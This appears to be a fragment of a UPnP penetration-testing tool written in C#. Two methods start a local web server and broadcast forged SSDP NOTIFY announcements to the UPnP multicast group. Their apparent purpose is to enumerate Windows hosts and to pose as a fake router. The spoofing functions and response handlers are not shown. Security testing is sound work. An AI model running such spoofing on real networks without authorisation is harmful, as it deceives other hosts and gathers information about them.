private void windowsEnumBw_DoWork(object sender, DoWorkEventArgs e) { int ifaceID = networkInterfaces.SelectedIndex; LivePacketDevice device = allDevices[ifaceID]; string srcIP = ""; for (int i = 0; i != device.Addresses.Count; ++i) { DeviceAddress address = device.Addresses[i]; if (address.Address.Family.ToString() == "Internet") { string[] addressParts = address.Address.ToString().Split(); srcIP = addressParts[1]; } } if (srcIP != "") { string srcURL = "http://" + srcIP + ":9090/"; WebServer ws = new WebServer(windowsEnumSendResponse, srcURL); ws.Run(); for (int i = 0; i < 10; i++) { foreach (string upnpType in upnpTypes) { string notifyString = "NOTIFY * HTTP/1.1\r\n" + "Cache-Control: max-age = 300\r\n" + "Host: 239.255.255.250:1900\r\n" + "Location: " + srcURL + Guid.NewGuid().ToString() + "\r\n" + "NT: " + upnpType + "\r\n" + "NTS: ssdp:alive\r\n" + "SERVER: UPnP-Pentest-Toolkit\r\n" + "USN: uuid:" + Guid.NewGuid().ToString() + "\r\n" + "\r\n"; notifySpoof(device, notifyString, srcIP, 1900, "239.255.255.250", 1900); } Thread.Sleep(1000); } Thread.Sleep(60000); ws.Stop(); } }
private void fakeRouterBw_DoWork(object sender, DoWorkEventArgs e) { int ifaceID = networkInterfaces.SelectedIndex; LivePacketDevice device = allDevices[ifaceID]; string srcIP = ""; for (int i = 0; i != device.Addresses.Count; ++i) { DeviceAddress address = device.Addresses[i]; if (address.Address.Family.ToString() == "Internet") { string[] addressParts = address.Address.ToString().Split(); srcIP = addressParts[1]; } } if (srcIP != "") { string srcURL = "http://" + srcIP + ":9090/"; WebServer ws = new WebServer(fakeRouterSendResponse, srcURL); ws.Run(); for (int i = 0; i < fakeRouterHowMany; i++) { foreach (string upnpType in upnpTypes) { string notifyString = "NOTIFY * HTTP/1.1\r\n" + "Cache-Control: max-age = 300\r\n" + "Host: 239.255.255.250:1900\r\n" + "Location: " + srcURL + Guid.NewGuid().ToString() + "\r\n" + "NT: " + upnpType + "\r\n" + "NTS: ssdp:alive\r\n" + "SERVER: UPnP-Pentest-Toolkit\r\n" + "USN: uuid:" + Guid.NewGuid().ToString() + "\r\n" + "\r\n"; notifySpoof(device, notifyString, srcIP, 1900, "239.255.255.250", 1900); } } Thread.Sleep(600000); ws.Stop(); } }